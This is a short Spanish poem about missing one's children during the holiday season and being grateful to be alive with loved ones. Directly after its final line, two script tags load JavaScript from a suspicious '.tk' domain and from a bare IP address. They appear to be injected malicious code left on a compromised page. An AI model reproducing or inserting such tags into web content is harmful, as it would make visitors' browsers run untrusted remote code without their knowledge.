Echar de menos

Ese pinchazo inevitable
en el estómago
al sentir el silencio de los hijos,
la falta de sonidos
y el ajetreo mezclado
con sus gritos, pisadas,

y un abrazo inesperado.

Echar de menos
forma parte de la vida,
y de estas fiestas, especialmente,
donde debemos brindar por los reencuentros,
y debería estar castigada la queja y el lamento
de aquellos que no valoran lo que son y lo que tienen,
y olvidan el gran privilegio que es respirar
y poder celebrar el estar vivos
con las personas que quieren y las quieren.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>